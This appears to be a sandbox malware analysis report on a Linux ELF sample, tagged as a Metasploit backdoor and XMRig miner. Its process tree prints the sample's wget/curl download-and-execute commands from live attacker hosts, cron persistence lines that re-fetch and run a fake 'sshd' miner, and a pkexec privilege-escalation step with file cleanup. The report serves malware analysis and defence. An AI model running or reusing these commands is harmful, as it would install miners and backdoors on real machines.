Overview

overview

10

Static

static

10

2636f4d5fa...35.elf

ubuntu-24.04-amd64

10

Analysis

  • max time kernel
    149s
  • max time network
    145s
  • platform
    ubuntu-24.04_amd64
  • resource
    ubuntu2404-amd64-20240523-en
  • resource tags

    arch:amd64arch:i386image:ubuntu2404-amd64-20240523-enkernel:6.8.0-31-genericlocale:en-usos:ubuntu-24.04-amd64system
  • submitted
    19-10-2024 01:16

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    2636f4d5fa29c3747036d385c3eee167aba1aad58c29597d21df7e42c6149a35.elf

  • Size

    1KB

  • MD5

    a3a1adfcbc6207f3e6e0c35d3cf03904

  • SHA1

    f10f7793d4d78120395d11d7020ab626995e2c01

  • SHA256

    2636f4d5fa29c3747036d385c3eee167aba1aad58c29597d21df7e42c6149a35

  • SHA512

    d66495bda3366633baed9e80dafb494bbe39cccb331a1b031c239650866489d6e45db7a9e5f3fe4e951e3f321d9eb9a0c7abf00ede54f6548c4235b9ef3debf9

Score
10/10
metasploitxmrigantivmbackdoordefense_evasiondiscoveryexecutionminerpersistenceprivilege_escalatiotrojan

Malware Config

Extracted

Family

metasploit

Version

encoder/shikata_ga_nai

Signatures

  • MetaSploit

    Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.

    trojanbackdoormetasploit
  • XMRig Miner payload 2 IoCs
    miner
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig
  • File and Directory Permissions Modification 1 TTPs 35 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 15 IoCs
  • Checks hardware identifiers (DMI) 1 TTPs 4 IoCs

    Checks DMI information which indicate if the system is a virtual machine.

    antivm
  • Creates/modifies Cron job 1 TTPs 5 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalatio
  • Reads hardware information 1 TTPs 14 IoCs

    Accesses system info like serial numbers, manufacturer names etc.

    discovery
  • Uses Polkit to run commands 1 IoCs

    Uses Polkit pkexec as a proxy to execute commands, possibly to bypass security restrictions.

  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

    antivm
  • Reads CPU attributes 1 TTPs 2 IoCs
    discovery
  • Command and Scripting Interpreter: Unix Shell 1 TTPs 1 IoCs

    Execute scripts via Unix Shell.

    execution
  • Enumerates kernel/hardware configuration 1 TTPs 64 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

    discovery
  • Reads runtime system information 31 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 8 IoCs

    Malware often drops required files in the /tmp directory.

  • cURL User-Agent 11 IoCs

    Uses User-Agent string associated with cURL utility.

Processes

  • /tmp/2636f4d5fa29c3747036d385c3eee167aba1aad58c29597d21df7e42c6149a35.elf
    /tmp/2636f4d5fa29c3747036d385c3eee167aba1aad58c29597d21df7e42c6149a35.elf
    1⤵
      PID:3638
      • /usr/bin/wget
        wget -nc http://main.dsn.ovh/dns/lovely -q -P /var/tmp/
        2⤵
          PID:3639
        • /usr/bin/chmod
          chmod 777 /var/tmp/lovely
          2⤵
          • File and Directory Permissions Modification
          PID:3641
        • /usr/bin/curl
          curl http://main.dsn.ovh/dns/lovely -s -o /var/tmp/lovely
          2⤵
          • Reads runtime system information
          PID:3642
        • /usr/bin/chmod
          chmod 777 /var/tmp/lovely
          2⤵
          • File and Directory Permissions Modification
          PID:3647
        • /var/tmp/lovely
          ./lovely
          2⤵
          • Executes dropped EXE
          PID:3648
          • /usr/bin/wget
            wget -nc http://main.dsn.ovh/dns/unix.sh -q -P /var/tmp/
            3⤵
              PID:3649
            • /usr/bin/chmod
              chmod 777 /var/tmp/unix.sh
              3⤵
              • File and Directory Permissions Modification
              PID:3650
            • /usr/bin/curl
              curl http://main.dsn.ovh/dns/unix.sh -s -o /var/tmp/unix.sh
              3⤵
              • Reads runtime system information
              PID:3651
            • /usr/bin/chmod
              chmod 777 /var/tmp/unix.sh
              3⤵
              • File and Directory Permissions Modification
              PID:3653
            • /var/tmp/unix.sh
              ./unix.sh
              3⤵
              • Executes dropped EXE
              PID:3654
            • /bin/sh
              /bin/sh ./unix.sh
              3⤵
                PID:3654
              • /usr/bin/rm
                rm unix.sh
                3⤵
                  PID:3656
                • /usr/bin/wget
                  wget -nc http://main.dsn.ovh/dns/sshd -q -P /var/tmp/
                  3⤵
                    PID:3657
                  • /usr/bin/chmod
                    chmod 777 /var/tmp/sshd
                    3⤵
                    • File and Directory Permissions Modification
                    PID:3658
                  • /usr/bin/curl
                    curl http://main.dsn.ovh/dns/sshd -s -o /var/tmp/sshd
                    3⤵
                    • Reads runtime system information
                    PID:3659
                  • /usr/bin/chmod
                    chmod 777 /var/tmp/sshd
                    3⤵
                    • File and Directory Permissions Modification
                    PID:3661
                  • /usr/bin/wget
                    wget -nc http://main.dsn.ovh/dns/config.json -q -P /var/tmp/
                    3⤵
                      PID:3662
                    • /usr/bin/curl
                      curl http://main.dsn.ovh/dns/config.json -s -o /var/tmp/config.json
                      3⤵
                      • Reads runtime system information
                      PID:3663
                    • /usr/bin/grep
                      grep -qxF
                      3⤵
                      • Reads runtime system information
                      PID:3666
                    • /usr/bin/crontab
                      crontab -l
                      3⤵
                        PID:3665
                      • /usr/bin/crontab
                        crontab -
                        3⤵
                        • Creates/modifies Cron job
                        PID:3668
                      • /usr/bin/crontab
                        crontab -l
                        3⤵
                          PID:3669
                        • /usr/bin/wget
                          wget -nc http://main.dsn.ovh/dns/truct.sh -q -P /var/tmp/
                          3⤵
                            PID:3670
                          • /usr/bin/chmod
                            chmod 777 /var/tmp/truct.sh
                            3⤵
                            • File and Directory Permissions Modification
                            PID:3671
                          • /usr/bin/curl
                            curl http://main.dsn.ovh/dns/truct.sh -s -o /var/tmp/truct.sh
                            3⤵
                            • Reads runtime system information
                            PID:3672
                          • /usr/bin/chmod
                            chmod 777 /var/tmp/truct.sh
                            3⤵
                            • File and Directory Permissions Modification
                            PID:3674
                          • /var/tmp/truct.sh
                            ./truct.sh
                            3⤵
                            • Executes dropped EXE
                            PID:3675
                          • /bin/sh
                            /bin/sh ./truct.sh
                            3⤵
                              PID:3675
                              • /usr/bin/crontab
                                crontab -l
                                4⤵
                                  PID:3676
                                • /usr/bin/grep
                                  grep -qxF "0 */6 * * * /usr/bin/flock -n /var/tmp/tmp.lock -c 'cd /var/tmp; wget -nc http://main.dsn.ovh/dns/sshd; cd /var/tmp; chmod 777 sshd; cd /var/tmp; curl http://main.dsn.ovh/dns/sshd -o sshd; cd /var/tmp; chmod 777 sshd; cd /var/tmp; wget -nc http://main.dsn.ovh/dns/config.json; cd /var/tmp; curl http://main.dsn.ovh/dns/config.json -o config.json'"
                                  4⤵
                                  • File and Directory Permissions Modification
                                  • Reads runtime system information
                                  PID:3677
                                • /usr/bin/crontab
                                  crontab -
                                  4⤵
                                  • Creates/modifies Cron job
                                  PID:3679
                                • /usr/bin/crontab
                                  crontab -l
                                  4⤵
                                    PID:3680
                                • /usr/bin/rm
                                  rm truct.sh
                                  3⤵
                                    PID:3681
                                  • /usr/bin/wget
                                    wget -nc http://main.dsn.ovh/dns/brict.sh -q -P /var/tmp/
                                    3⤵
                                      PID:3682
                                    • /usr/bin/chmod
                                      chmod 777 /var/tmp/brict.sh
                                      3⤵
                                      • File and Directory Permissions Modification
                                      PID:3683
                                    • /usr/bin/curl
                                      curl http://main.dsn.ovh/dns/brict.sh -s -o /var/tmp/brict.sh
                                      3⤵
                                      • Reads runtime system information
                                      PID:3684
                                    • /usr/bin/chmod
                                      chmod 777 /var/tmp/brict.sh
                                      3⤵
                                      • File and Directory Permissions Modification
                                      PID:3686
                                    • /var/tmp/brict.sh
                                      ./brict.sh
                                      3⤵
                                      • Executes dropped EXE
                                      PID:3687
                                    • /bin/sh
                                      /bin/sh ./brict.sh
                                      3⤵
                                        PID:3687
                                        • /usr/bin/crontab
                                          crontab -l
                                          4⤵
                                            PID:3688
                                          • /usr/bin/grep
                                            grep -qxF "* * * * * /usr/bin/flock -n /var/tmp/vm.lock -c 'cd /var/tmp; ./sshd'"
                                            4⤵
                                            • Reads runtime system information
                                            PID:3689
                                          • /usr/bin/crontab
                                            crontab -
                                            4⤵
                                            • Creates/modifies Cron job
                                            PID:3691
                                          • /usr/bin/crontab
                                            crontab -l
                                            4⤵
                                              PID:3692
                                          • /usr/bin/rm
                                            rm brict.sh
                                            3⤵
                                              PID:3693
                                            • /usr/bin/flock
                                              /usr/bin/flock -n /var/tmp/vm.lock -c "cd /var/tmp; nohup ./sshd >/dev/null 2>&1 &"
                                              3⤵
                                                PID:3694
                                                • /bin/sh
                                                  /bin/sh -c "cd /var/tmp; nohup ./sshd >/dev/null 2>&1 &"
                                                  4⤵
                                                  • Command and Scripting Interpreter: Unix Shell
                                                  PID:3695
                                              • /usr/bin/wget
                                                wget -nc http://main.dsn.ovh/dns/retrict.sh -q -P /var/tmp/
                                                3⤵
                                                  PID:3697
                                                • /usr/bin/chmod
                                                  chmod 777 /var/tmp/retrict.sh
                                                  3⤵
                                                  • File and Directory Permissions Modification
                                                  PID:3704
                                                • /usr/bin/curl
                                                  curl http://main.dsn.ovh/dns/retrict.sh -s -o /var/tmp/retrict.sh
                                                  3⤵
                                                  • Reads runtime system information
                                                  PID:3705
                                                • /usr/bin/chmod
                                                  chmod 777 /var/tmp/retrict.sh
                                                  3⤵
                                                  • File and Directory Permissions Modification
                                                  PID:3708
                                                • /var/tmp/retrict.sh
                                                  ./retrict.sh
                                                  3⤵
                                                  • Executes dropped EXE
                                                  PID:3709
                                                • /bin/sh
                                                  /bin/sh ./retrict.sh
                                                  3⤵
                                                  • Creates/modifies Cron job
                                                  PID:3709
                                                  • /usr/bin/grep
                                                    grep -qxF "0 */6 * * * root /usr/bin/flock -n /var/tmp/tmp.lock -c 'cd /var/tmp; wget -nc http://main.dsn.ovh/dns/sshd; cd /var/tmp; chmod 777 sshd; cd /var/tmp; curl http://main.dsn.ovh/dns/sshd -o sshd; cd /var/tmp; chmod 777 sshd; cd /var/tmp; wget -nc http://main.dsn.ovh/dns/config.json; cd /var/tmp; curl http://main.dsn.ovh/dns/config.json -o config.json'" /etc/crontab
                                                    4⤵
                                                    • File and Directory Permissions Modification
                                                    • Reads runtime system information
                                                    PID:3710
                                                • /usr/bin/rm
                                                  rm retrict.sh
                                                  3⤵
                                                    PID:3711
                                                  • /usr/bin/wget
                                                    wget -nc http://main.dsn.ovh/dns/politrict.sh -q -P /var/tmp/
                                                    3⤵
                                                      PID:3712
                                                    • /usr/bin/chmod
                                                      chmod 777 /var/tmp/politrict.sh
                                                      3⤵
                                                      • File and Directory Permissions Modification
                                                      PID:3713
                                                    • /usr/bin/curl
                                                      curl http://main.dsn.ovh/dns/politrict.sh -s -o /var/tmp/politrict.sh
                                                      3⤵
                                                      • Reads runtime system information
                                                      PID:3714
                                                    • /usr/bin/chmod
                                                      chmod 777 /var/tmp/politrict.sh
                                                      3⤵
                                                      • File and Directory Permissions Modification
                                                      PID:3716
                                                    • /var/tmp/politrict.sh
                                                      ./politrict.sh
                                                      3⤵
                                                      • Executes dropped EXE
                                                      PID:3717
                                                    • /bin/sh
                                                      /bin/sh ./politrict.sh
                                                      3⤵
                                                      • Creates/modifies Cron job
                                                      PID:3717
                                                      • /usr/bin/grep
                                                        grep -qxF "* * * * * root /usr/bin/flock -n /var/tmp/vm.lock -c 'cd /var/tmp; ./sshd'" /etc/crontab
                                                        4⤵
                                                        • Reads runtime system information
                                                        PID:3718
                                                    • /usr/bin/rm
                                                      rm politrict.sh
                                                      3⤵
                                                        PID:3719
                                                      • /usr/bin/flock
                                                        /usr/bin/flock -n /var/tmp/vm.lock -c "cd /var/tmp; nohup ./sshd >/dev/null 2>&1 &"
                                                        3⤵
                                                          PID:3720
                                                      • /usr/bin/rm
                                                        rm lovely
                                                        2⤵
                                                          PID:3721
                                                        • /usr/bin/wget
                                                          wget -nc http://main.dsn.ovh/dns/lushput -q -P /tmp/
                                                          2⤵
                                                          • Writes file to tmp directory
                                                          PID:3722
                                                        • /usr/bin/chmod
                                                          chmod 777 /tmp/lushput
                                                          2⤵
                                                          • File and Directory Permissions Modification
                                                          PID:3723
                                                        • /usr/bin/curl
                                                          curl http://main.dsn.ovh/dns/lushput -s -o /tmp/lushput
                                                          2⤵
                                                          • Reads runtime system information
                                                          • Writes file to tmp directory
                                                          PID:3724
                                                        • /usr/bin/chmod
                                                          chmod 777 /tmp/lushput
                                                          2⤵
                                                          • File and Directory Permissions Modification
                                                          PID:3726
                                                        • /tmp/lushput
                                                          ./lushput "wget -nc http://main.dsn.ovh/dns/bitnow -q -P /var/tmp/; chmod 777 /var/tmp/bitnow; curl http://main.dsn.ovh/dns/bitnow -s -o /var/tmp/bitnow; chmod 777 /var/tmp/bitnow; cd /var/tmp; ./bitnow; cd /var/tmp; rm bitnow"
                                                          2⤵
                                                          • File and Directory Permissions Modification
                                                          • Executes dropped EXE
                                                          • Writes file to tmp directory
                                                          PID:3727
                                                        • /usr/bin/pkexec
                                                          2⤵
                                                          • Uses Polkit to run commands
                                                          • Reads runtime system information
                                                          PID:3727
                                                        • /usr/bin/rm
                                                          rm -rf 2636f4d5fa29c3747036d385c3eee167aba1aad58c29597d21df7e42c6149a35.elf "GCONV_PATH=." gdm3-config-err-6iw0jt gdm3-config-err-KOZVd3 gdm3-config-err-ZqqMKk lushput snap-private-tmp systemd-private-2f7dc25f32a041608470b3e794ff7c76-ModemManager.service-mtizBM systemd-private-2f7dc25f32a041608470b3e794ff7c76-colord.service-KWpj7e systemd-private-2f7dc25f32a041608470b3e794ff7c76-polkit.service-FeXCkR systemd-private-2f7dc25f32a041608470b3e794ff7c76-power-profiles-daemon.service-YRMNao systemd-private-2f7dc25f32a041608470b3e794ff7c76-switcheroo-control.service-RreA9S systemd-private-2f7dc25f32a041608470b3e794ff7c76-systemd-logind.service-YfTO9O systemd-private-2f7dc25f32a041608470b3e794ff7c76-systemd-oomd.service-Tm7L7S systemd-private-2f7dc25f32a041608470b3e794ff7c76-systemd-resolved.service-0xCfsI systemd-private-2f7dc25f32a041608470b3e794ff7c76-systemd-timedated.service-2kZ8VR systemd-private-2f7dc25f32a041608470b3e794ff7c76-upower.service-gc7jvE
                                                          2⤵
                                                            PID:3729
                                                          • /usr/bin/rm
                                                            rm -rf .pkexec
                                                            2⤵
                                                              PID:3730
                                                            • /usr/bin/wget
                                                              wget -nc http://main.dsn.ovh/dns/seasbit -q -P /tmp/
                                                              2⤵
                                                              • Writes file to tmp directory
                                                              PID:3731
                                                            • /usr/bin/chmod
                                                              chmod 777 /tmp/seasbit
                                                              2⤵
                                                              • File and Directory Permissions Modification
                                                              PID:3732
                                                            • /usr/bin/curl
                                                              curl http://main.dsn.ovh/dns/seasbit -s -o /tmp/seasbit
                                                              2⤵
                                                              • Reads runtime system information
                                                              • Writes file to tmp directory
                                                              PID:3733
                                                            • /usr/bin/chmod
                                                              chmod 777 /tmp/seasbit
                                                              2⤵
                                                              • File and Directory Permissions Modification
                                                              PID:3735
                                                            • /usr/bin/wget
                                                              wget -nc http://main.dsn.ovh/dns/loadbit -q -P /tmp/
                                                              2⤵
                                                              • Writes file to tmp directory
                                                              PID:3736
                                                            • /usr/bin/chmod
                                                              chmod 777 /tmp/loadbit
                                                              2⤵
                                                              • File and Directory Permissions Modification
                                                              PID:3737
                                                            • /usr/bin/curl
                                                              curl http://main.dsn.ovh/dns/loadbit -s -o /tmp/loadbit
                                                              2⤵
                                                              • Reads runtime system information
                                                              • Writes file to tmp directory
                                                              PID:3738
                                                            • /usr/bin/chmod
                                                              chmod 777 /tmp/loadbit
                                                              2⤵
                                                              • File and Directory Permissions Modification
                                                              PID:3740
                                                            • /tmp/loadbit
                                                              ./loadbit
                                                              2⤵
                                                              • Executes dropped EXE
                                                              • Reads runtime system information
                                                              • Writes file to tmp directory
                                                              PID:3741
                                                              • /bin/sh
                                                                sh -c -- "rm -rf './ovlcap/'"
                                                                3⤵
                                                                  PID:3743
                                                                  • /usr/bin/rm
                                                                    rm -rf ./ovlcap/
                                                                    4⤵
                                                                      PID:3744
                                                                • /tmp/ovlcap/upper/magic
                                                                  ./ovlcap/upper/magic shell
                                                                  2⤵
                                                                    PID:3741
                                                                  • /bin/bash
                                                                    /bin/bash -c /tmp/seasbit
                                                                    2⤵
                                                                      PID:3741
                                                                    • /tmp/seasbit
                                                                      /tmp/seasbit
                                                                      2⤵
                                                                      • Executes dropped EXE
                                                                      PID:3741
                                                                      • /usr/bin/wget
                                                                        wget -nc http://dash.cloudflare.ovh/mvt/unix.sh -q -P /var/tmp/
                                                                        3⤵
                                                                          PID:3747
                                                                        • /usr/bin/chmod
                                                                          chmod 777 /var/tmp/unix.sh
                                                                          3⤵
                                                                          • File and Directory Permissions Modification
                                                                          PID:3748
                                                                        • /usr/bin/curl
                                                                          curl http://dash.cloudflare.ovh/mvt/unix.sh -s -o /var/tmp/unix.sh
                                                                          3⤵
                                                                          • Reads runtime system information
                                                                          PID:3749
                                                                        • /usr/bin/chmod
                                                                          chmod 777 /var/tmp/unix.sh
                                                                          3⤵
                                                                          • File and Directory Permissions Modification
                                                                          PID:3751
                                                                        • /var/tmp/unix.sh
                                                                          ./unix.sh
                                                                          3⤵
                                                                          • Executes dropped EXE
                                                                          PID:3752
                                                                        • /usr/bin/rm
                                                                          rm unix.sh
                                                                          3⤵
                                                                            PID:3753
                                                                          • /usr/bin/wget
                                                                            wget -nc http://dash.cloudflare.ovh/mvt/sshd -q -P /var/tmp/
                                                                            3⤵
                                                                              PID:3754
                                                                            • /usr/bin/chmod
                                                                              chmod 777 /var/tmp/sshd
                                                                              3⤵
                                                                              • File and Directory Permissions Modification
                                                                              PID:3755
                                                                            • /usr/bin/curl
                                                                              curl http://dash.cloudflare.ovh/mvt/sshd -s -o /var/tmp/sshd
                                                                              3⤵
                                                                              • Reads runtime system information
                                                                              PID:3756
                                                                            • /usr/bin/chmod
                                                                              chmod 777 /var/tmp/sshd
                                                                              3⤵
                                                                              • File and Directory Permissions Modification
                                                                              PID:3758
                                                                            • /usr/bin/wget
                                                                              wget -nc http://dash.cloudflare.ovh/mvt/config.json -q -P /var/tmp/
                                                                              3⤵
                                                                                PID:3759
                                                                              • /usr/bin/curl
                                                                                curl http://dash.cloudflare.ovh/mvt/config.json -s -o /var/tmp/config.json
                                                                                3⤵
                                                                                • Reads runtime system information
                                                                                PID:3760
                                                                              • /usr/bin/crontab
                                                                                crontab -l
                                                                                3⤵
                                                                                  PID:3762
                                                                                • /usr/bin/grep
                                                                                  grep -qxF
                                                                                  3⤵
                                                                                  • Reads runtime system information
                                                                                  PID:3763
                                                                                • /usr/bin/wget
                                                                                  wget -nc http://dash.cloudflare.ovh/mvt/truct.sh -q -P /var/tmp/
                                                                                  3⤵
                                                                                    PID:3764
                                                                                  • /usr/bin/chmod
                                                                                    chmod 777 /var/tmp/truct.sh
                                                                                    3⤵
                                                                                    • File and Directory Permissions Modification
                                                                                    PID:3765
                                                                                  • /usr/bin/curl
                                                                                    curl http://dash.cloudflare.ovh/mvt/truct.sh -s -o /var/tmp/truct.sh
                                                                                    3⤵
                                                                                    • Reads runtime system information
                                                                                    PID:3766
                                                                                  • /usr/bin/chmod
                                                                                    chmod 777 /var/tmp/truct.sh
                                                                                    3⤵
                                                                                    • File and Directory Permissions Modification
                                                                                    PID:3768
                                                                                  • /var/tmp/truct.sh
                                                                                    ./truct.sh
                                                                                    3⤵
                                                                                    • Executes dropped EXE
                                                                                    PID:3769
                                                                                  • /usr/bin/rm
                                                                                    rm truct.sh
                                                                                    3⤵
                                                                                      PID:3770
                                                                                    • /usr/bin/wget
                                                                                      wget -nc http://dash.cloudflare.ovh/mvt/brict.sh -q -P /var/tmp/
                                                                                      3⤵
                                                                                        PID:3771
                                                                                      • /usr/bin/chmod
                                                                                        chmod 777 /var/tmp/brict.sh
                                                                                        3⤵
                                                                                        • File and Directory Permissions Modification
                                                                                        PID:3772
                                                                                      • /usr/bin/curl
                                                                                        curl http://dash.cloudflare.ovh/mvt/brict.sh -s -o /var/tmp/brict.sh
                                                                                        3⤵
                                                                                        • Reads runtime system information
                                                                                        PID:3773
                                                                                      • /usr/bin/chmod
                                                                                        chmod 777 /var/tmp/brict.sh
                                                                                        3⤵
                                                                                        • File and Directory Permissions Modification
                                                                                        PID:3775
                                                                                      • /var/tmp/brict.sh
                                                                                        ./brict.sh
                                                                                        3⤵
                                                                                        • Executes dropped EXE
                                                                                        PID:3776
                                                                                      • /usr/bin/rm
                                                                                        rm brict.sh
                                                                                        3⤵
                                                                                          PID:3777
                                                                                        • /usr/bin/flock
                                                                                          /usr/bin/flock -n /var/tmp/vm.lock -c "cd /var/tmp; nohup ./sshd >/dev/null 2>&1 &"
                                                                                          3⤵
                                                                                            PID:3778
                                                                                          • /usr/bin/wget
                                                                                            wget -nc http://dash.cloudflare.ovh/mvt/retrict.sh -q -P /var/tmp/
                                                                                            3⤵
                                                                                              PID:3779
                                                                                            • /usr/bin/chmod
                                                                                              chmod 777 /var/tmp/retrict.sh
                                                                                              3⤵
                                                                                              • File and Directory Permissions Modification
                                                                                              PID:3780
                                                                                            • /usr/bin/curl
                                                                                              curl http://dash.cloudflare.ovh/mvt/retrict.sh -s -o /var/tmp/retrict.sh
                                                                                              3⤵
                                                                                              • Reads runtime system information
                                                                                              PID:3781
                                                                                            • /usr/bin/chmod
                                                                                              chmod 777 /var/tmp/retrict.sh
                                                                                              3⤵
                                                                                              • File and Directory Permissions Modification
                                                                                              PID:3783
                                                                                            • /var/tmp/retrict.sh
                                                                                              ./retrict.sh
                                                                                              3⤵
                                                                                              • Executes dropped EXE
                                                                                              PID:3784
                                                                                            • /usr/bin/rm
                                                                                              rm retrict.sh
                                                                                              3⤵
                                                                                                PID:3785
                                                                                              • /usr/bin/wget
                                                                                                wget -nc http://dash.cloudflare.ovh/mvt/politrict.sh -q -P /var/tmp/
                                                                                                3⤵
                                                                                                  PID:3786
                                                                                                • /usr/bin/chmod
                                                                                                  chmod 777 /var/tmp/politrict.sh
                                                                                                  3⤵
                                                                                                  • File and Directory Permissions Modification
                                                                                                  PID:3787
                                                                                                • /usr/bin/curl
                                                                                                  curl http://dash.cloudflare.ovh/mvt/politrict.sh -s -o /var/tmp/politrict.sh
                                                                                                  3⤵
                                                                                                  • Reads runtime system information
                                                                                                  PID:3788
                                                                                                • /usr/bin/chmod
                                                                                                  chmod 777 /var/tmp/politrict.sh
                                                                                                  3⤵
                                                                                                  • File and Directory Permissions Modification
                                                                                                  PID:3790
                                                                                                • /var/tmp/politrict.sh
                                                                                                  ./politrict.sh
                                                                                                  3⤵
                                                                                                  • Executes dropped EXE
                                                                                                  PID:3791
                                                                                                • /usr/bin/rm
                                                                                                  rm politrict.sh
                                                                                                  3⤵
                                                                                                    PID:3792
                                                                                                  • /usr/bin/flock
                                                                                                    /usr/bin/flock -n /var/tmp/vm.lock -c "cd /var/tmp; nohup ./sshd >/dev/null 2>&1 &"
                                                                                                    3⤵
                                                                                                      PID:3793
                                                                                                  • /usr/bin/rm
                                                                                                    rm -rf loadbit ovlcap seasbit
                                                                                                    2⤵
                                                                                                      PID:3794
                                                                                                  • /usr/bin/nohup
                                                                                                    nohup ./sshd
                                                                                                    1⤵
                                                                                                      PID:3696
                                                                                                    • /var/tmp/sshd
                                                                                                      ./sshd
                                                                                                      1⤵
                                                                                                      • Executes dropped EXE
                                                                                                      • Checks hardware identifiers (DMI)
                                                                                                      • Reads hardware information
                                                                                                      • Checks CPU configuration
                                                                                                      • Reads CPU attributes
                                                                                                      • Enumerates kernel/hardware configuration
                                                                                                      • Reads runtime system information
                                                                                                      PID:3696

                                                                                                    Network

                                                                                                    MITRE ATT&CK Enterprise v15

                                                                                                    Replay Monitor

                                                                                                    Loading Replay Monitor...

                                                                                                    Downloads

                                                                                                    • /tmp/.pkexec/gconv-modules
                                                                                                      Filesize

                                                                                                      32B

                                                                                                      MD5

                                                                                                      b9509d5bee230341cacfed6bd6712bd3

                                                                                                      SHA1

                                                                                                      2dbad9dc54dfd6b14af012c54b3adbd939100fa6

                                                                                                      SHA256

                                                                                                      50f2c869bb56ae55e7b42e02bdd757b10a4bbb5532157c46c0f3f32ab0ebabdd

                                                                                                      SHA512

                                                                                                      d817b5d4cf294e18af8e029d5e82e693825c29d3164ed2bd5a0cb86a6fb68c5de3b8f30595bbf50ee0c7c98fa10601971c9aa98fc8cb96e7775f6306e0fddae6

                                                                                                      Download Submit

                                                                                                    • /tmp/loadbit
                                                                                                      Filesize

                                                                                                      17KB

                                                                                                      MD5

                                                                                                      593e9551a4a9b49323a1fda81fe1dd5e

                                                                                                      SHA1

                                                                                                      3ea957516c02bc2e57ce17401b56e5f2f0288725

                                                                                                      SHA256

                                                                                                      2b305939d1069c7490b3539e2855ed7538c1a83eb2baca53e50e7ce1b3a165ab

                                                                                                      SHA512

                                                                                                      26a3a00e55e742d5d44c90725716417f2399c517ac5d462e0458535f05d656d70b1cc714bc1c8ecb4e6a94d68ed3b47bfaace7645634cfd236057b621a10c518

                                                                                                      Download Submit

                                                                                                    • /tmp/lushput
                                                                                                      Filesize

                                                                                                      14KB

                                                                                                      MD5

                                                                                                      8e3e276e650e6ea21bea16c8c2f3e8c3

                                                                                                      SHA1

                                                                                                      e483074bbe5e41cacbe081f290d7e6b0c3184c7f

                                                                                                      SHA256

                                                                                                      4dcae1bddfc3e2cb98eae84e86fb58ec14ea6ef00778ac5974c4ec526d3da31f

                                                                                                      SHA512

                                                                                                      8b33a40fd39a06a85169f2e4c4172a4d44ec24d50c512db7231ab4575dbf4093bfdabc63dd1b36dda94ec87772469e659abf0650d8982a526d8623a96bf93e38

                                                                                                      Download Submit

                                                                                                    • /tmp/seasbit
                                                                                                      Filesize

                                                                                                      1KB

                                                                                                      MD5

                                                                                                      932df67ea6b8900a30249e311195a58f

                                                                                                      SHA1

                                                                                                      d6b7c2388a75c2c3b71d5ad7130f1d3dfeb7fd83

                                                                                                      SHA256

                                                                                                      e4a58509fea52a4917007b1cd1a87050b0109b50210c5d00e08ece1871af084d

                                                                                                      SHA512

                                                                                                      f6801c3cbc1d28e8f4a5373340081528dc1ece23e59585cc45831177710ac785557ebf364bd8a867f0c687ca518f41913427b27ddd2f2ff64e64ae7ba760fc0c

                                                                                                      Download Submit

                                                                                                    • /var/spool/cron/crontabs/tmp.8vjSdD
                                                                                                      Filesize

                                                                                                      593B

                                                                                                      MD5

                                                                                                      faabf52de282c99701f1a878968fe0b8

                                                                                                      SHA1

                                                                                                      68872f6d8c5fe3c98c2f15d04cf9bcdf3809bd13

                                                                                                      SHA256

                                                                                                      c878c9105fbb39c55e836b7aaf83c34b863bc174b5712b34454bcad3e017f4b1

                                                                                                      SHA512

                                                                                                      2d95146fce34508e523ead3e5dcd1467e1c6876d99687751b7b668fd1ed7f2853c661cc3b2804a233afd6e3406dee48910c19589b8ed38fc234aa4d6d6af65e3

                                                                                                      Download Submit

                                                                                                    • /var/spool/cron/crontabs/tmp.GttnyZ
                                                                                                      Filesize

                                                                                                      176B

                                                                                                      MD5

                                                                                                      acd1366ff3318e351949a3d3c888969d

                                                                                                      SHA1

                                                                                                      8a3c99be7b19209e8b3c4391c466eb5e3c35ea6a

                                                                                                      SHA256

                                                                                                      431a91091ca1010ddf7dffb0dc84334e08b1dfb88119870fb47250ec1d4e1974

                                                                                                      SHA512

                                                                                                      09bb79cb5c36e2d9636c4fabfaf00a9b1e3df6c3015a854bab787f4455cd7e4a0e71a4d6d272e4e3870de31ccd97487365a83a3220b93e32373ee1bfd1ff2e72

                                                                                                      Download Submit

                                                                                                    • /var/spool/cron/crontabs/tmp.ZED5D1
                                                                                                      Filesize

                                                                                                      523B

                                                                                                      MD5

                                                                                                      a1aaf094fa4b680bc9d0bf736598e13b

                                                                                                      SHA1

                                                                                                      7dfa33badec9be3abaf1715d867ac867be7a2a31

                                                                                                      SHA256

                                                                                                      dfaaac507f53da6c95554f5a6dc92f9bf3b95657481e8609952753b1a238dc66

                                                                                                      SHA512

                                                                                                      337bc92eb59f5ee1662a8c211a2d1cf1037cc093eb9357170619d89f049c41a9a032c9f0103ef31aa22330a113ddf4dfd6289bcb4da7288ba25c3117525d8138

                                                                                                      Download Submit

                                                                                                    • /var/tmp/brict.sh
                                                                                                      Filesize

                                                                                                      200B

                                                                                                      MD5

                                                                                                      8677d3acf751217ec3c3161ce266e748

                                                                                                      SHA1

                                                                                                      b3bdad150a3d12080a8b0e4942dd1c04ca08dd60

                                                                                                      SHA256

                                                                                                      64a31abd82af27487985a0c0f47946295b125e6d128819d1cbd0f6b62a95d6c4

                                                                                                      SHA512

                                                                                                      cc42b48bd45bdadad56b360fbd2e2176f603f339c8a37236cfa4370b8ac66300a3408eba041a9fd54af3fc9296541ef2a09c5e990c29f51cc09cd26d502def5a

                                                                                                      Download Submit

                                                                                                    • /var/tmp/config.json
                                                                                                      Filesize

                                                                                                      1KB

                                                                                                      MD5

                                                                                                      eae740299e852ad90a690e29e0f436e5

                                                                                                      SHA1

                                                                                                      e11b1d8e042a70ed10ec3dcfe2fb2d44570dd84c

                                                                                                      SHA256

                                                                                                      4837501c5271d76200862fe677dcdbda6552d483c6f7100873e3c04bc9dce51e

                                                                                                      SHA512

                                                                                                      acdc41057dfb45548d12bb4e4feab79f7484518ca1a10e219f455f59a18d5f53444b786aa47f6d85ffa49383ba539745c6a7f4d79935f169ce3dc07b03081df4

                                                                                                      Download Submit

                                                                                                    • /var/tmp/lovely
                                                                                                      Filesize

                                                                                                      1KB

                                                                                                      MD5

